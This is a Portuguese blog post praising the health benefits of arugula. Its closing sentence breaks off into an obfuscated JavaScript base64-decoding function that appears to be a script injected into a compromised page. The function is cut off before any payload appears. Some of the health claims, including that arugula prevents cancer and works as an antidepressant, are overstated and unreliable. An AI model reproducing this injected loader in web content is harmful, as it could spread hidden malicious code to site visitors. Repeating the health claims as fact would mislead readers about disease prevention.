Dicas saudáveis – conheça os benefícios da rúcula
Dicas saudáveis – conheça os benefícios da rúcula
Como sou fã da alimentação mediterrânica, desta vez decidi falar-lhe de um vegetal que eu adoro adicionar em quase todas as saladas que faço: a rúcula! É uma folha verde-escura e tem um travo ligeiramente amargo que fica bem com frutas mais doces, queijos mais salgados ou mesmo pelo meio da alface. Vai bem com praticamente tudo, mas a juntar a isto ainda é super benéfica para o nosso organismo! Vou contar-lhe tudo sobre os benefícios da rúcula e vai ver que, tal como eu, vai passar a ter sempre rúcula em casa!
Benefícios da rúcula – COMBATE O COLESTEROL | Foto: bwqualitygrowers
COMBATE O COLESTEROL:
A rúcula é rica em ómega 3, que ajuda a aumentar os níveis do bom colesterol, enquanto reduz os níveis do mau. Ajuda a limpar as artérias, já que diminui os níveis dos triglicéridos no sangue e por isso, o nosso coração agradece que comamos este vegetal-maravilha!
Benefícios da rúcula – É ANTIDEPRESSIVA | Foto: food-school
É ANTIDEPRESSIVA:
Uma das doenças do século XXI é sem dúvida a depressão. E como o povo português é visto no mundo como bastante nostálgico e até triste, então que tal começar a tentar combater este estado de espírito? 🙂 Falando mais a sério: como é rica em vitamina B e K, estimula o bom funcionamento cerebral, prevenindo doenças degenerativas ou depressão.
É AMIGA DOS NOSSOS OSSOS E ARTICULAÇÕES:
Como é muito rica em cálcio, ferro, fósforo e vitaminas como a K, promove o fortalecimento e formação dos ossos. Ao consumirmos adequadamente este alimento, estamos a melhorar a absorção de cálcio e a evitar a sua perda pela urina. Assim sendo, promovemos o retardamento das doenças como a osteoporose!
Benefícios da rúcula - MELHORA A VIDA SEXUAL | Foto: framepool
MELHORA A VIDA SEXUAL:
Sabia desta? É verdade, bem como quase todos os alimentos picantes, a rúcula é considerada um ingrediente afrodisíaco! Uma vez que aumenta a temperatura do nosso corpo, o seu efeito energético e revitalizante estimula a circulação sanguínea trazendo maior desejo sexual. Inclua-a na sua alimentação diária e divirta-se!
Benefícios da rúcula - FORTALECE O SISTEMA IMONULÓGICO | Foto: pinimg
FORTALECE O SISTEMA IMONULÓGICO:
Uma vez que tem um elevado teor de vitamina C, antioxidante natural e muito eficaz no combate às doenças, ajuda a proteger o nosso organismo. E isto também é potenciado pela sua ação anti-inflamatória, que ajuda até a prevenir de doenças tais como o cancro ou escorbuto.
Se gostou de conhecer os benefícios da rúcula, conheça também os function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
